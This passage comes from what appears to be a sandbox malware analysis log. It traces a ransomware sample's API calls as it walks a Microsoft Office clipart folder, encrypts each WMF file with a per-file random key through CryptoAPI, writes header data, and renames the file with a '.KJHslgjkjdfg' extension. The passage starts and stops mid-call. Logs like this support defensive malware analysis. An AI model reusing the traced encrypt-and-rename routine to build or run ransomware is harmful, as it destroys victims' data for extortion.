lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.502] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.502] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.502] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.502] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xaf4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xaf4, lpOverlapped=0x0) returned 1 [0186.502] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb00, dwBufLen=0xb00 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb00) returned 1 [0186.503] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.503] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xb00, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xb00, lpOverlapped=0x0) returned 1 [0186.503] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.503] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xbd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.503] SetEndOfFile (hFile=0x114) returned 1 [0186.505] GetProcessHeap () returned 0x2a0000 [0186.505] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.505] GetProcessHeap () returned 0x2a0000 [0186.505] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.505] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00272_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00272_.wmf.kjhslgjkjdfg")) returned 1 [0186.507] CloseHandle (hObject=0x114) returned 1 [0186.508] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c9b200, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0c9b200, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x5aa4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00468_.WMF", cAlternateFileName="")) returned 1 [0186.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00468_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.509] GetProcessHeap () returned 0x2a0000 [0186.509] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.509] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.509] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.509] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0186.511] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.511] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.511] GetProcessHeap () returned 0x2a0000 [0186.511] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.511] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.511] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.511] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.512] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.512] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.512] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.512] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.512] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.512] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.512] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.512] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.512] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5aa4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5aa4, lpOverlapped=0x0) returned 1 [0186.513] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5ab0, dwBufLen=0x5ab0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5ab0) returned 1 [0186.514] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.514] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5ab0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5ab0, lpOverlapped=0x0) returned 1 [0186.514] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.514] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5b84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.514] SetEndOfFile (hFile=0x114) returned 1 [0186.517] GetProcessHeap () returned 0x2a0000 [0186.517] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.517] GetProcessHeap () returned 0x2a0000 [0186.517] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.517] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00468_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00468_.wmf.kjhslgjkjdfg")) returned 1 [0186.518] CloseHandle (hObject=0x114) returned 1 [0186.519] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d320700, ftCreationTime.dwHighDateTime=0x1bd4b43, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d320700, ftLastWriteTime.dwHighDateTime=0x1bd4b43, nFileSizeHigh=0x0, nFileSizeLow=0x1cf8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00478_.WMF", cAlternateFileName="")) returned 1 [0186.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00478_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.520] GetProcessHeap () returned 0x2a0000 [0186.520] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.520] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.520] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.520] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.529] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.530] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.530] GetProcessHeap () returned 0x2a0000 [0186.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.530] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.530] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.530] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.530] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.530] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.530] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.530] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.530] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.530] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.530] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.530] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.530] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1cf8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1cf8, lpOverlapped=0x0) returned 1 [0186.531] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1d00, dwBufLen=0x1d00 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1d00) returned 1 [0186.532] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.532] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1d00, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1d00, lpOverlapped=0x0) returned 1 [0186.532] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.532] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1dd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.532] SetEndOfFile (hFile=0x114) returned 1 [0186.534] GetProcessHeap () returned 0x2a0000 [0186.534] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.534] GetProcessHeap () returned 0x2a0000 [0186.534] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.534] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00478_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00478_.wmf.kjhslgjkjdfg")) returned 1 [0186.536] CloseHandle (hObject=0x114) returned 1 [0186.536] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb32c0c00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb32c0c00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00485_.WMF", cAlternateFileName="")) returned 1 [0186.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00485_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.537] GetProcessHeap () returned 0x2a0000 [0186.537] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.537] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.537] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.537] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0186.540] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.540] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.540] GetProcessHeap () returned 0x2a0000 [0186.540] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.540] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.540] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.540] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.540] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.541] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.541] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.541] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.541] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.541] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.541] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.541] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.541] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4124, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4124, lpOverlapped=0x0) returned 1 [0186.542] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4130, dwBufLen=0x4130 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4130) returned 1 [0186.542] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.542] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4130, lpOverlapped=0x0) returned 1 [0186.543] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.543] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.543] SetEndOfFile (hFile=0x114) returned 1 [0186.545] GetProcessHeap () returned 0x2a0000 [0186.545] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.545] GetProcessHeap () returned 0x2a0000 [0186.545] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.545] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00485_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00485_.wmf.kjhslgjkjdfg")) returned 1 [0186.547] CloseHandle (hObject=0x114) returned 1 [0186.547] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d627000, ftCreationTime.dwHighDateTime=0x1bd98a5, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5d627000, ftLastWriteTime.dwHighDateTime=0x1bd98a5, nFileSizeHigh=0x0, nFileSizeLow=0x1402c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00489_.WMF", cAlternateFileName="")) returned 1 [0186.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00489_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.549] GetProcessHeap () returned 0x2a0000 [0186.549] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.549] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.549] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.549] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.551] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.551] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.551] GetProcessHeap () returned 0x2a0000 [0186.551] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.551] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.551] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.551] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.551] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.551] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.551] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.551] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.552] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.552] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.552] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.552] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.552] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1402c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1402c, lpOverlapped=0x0) returned 1 [0186.553] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x14030, dwBufLen=0x14030 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x14030) returned 1 [0186.554] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.554] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x14030, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x14030, 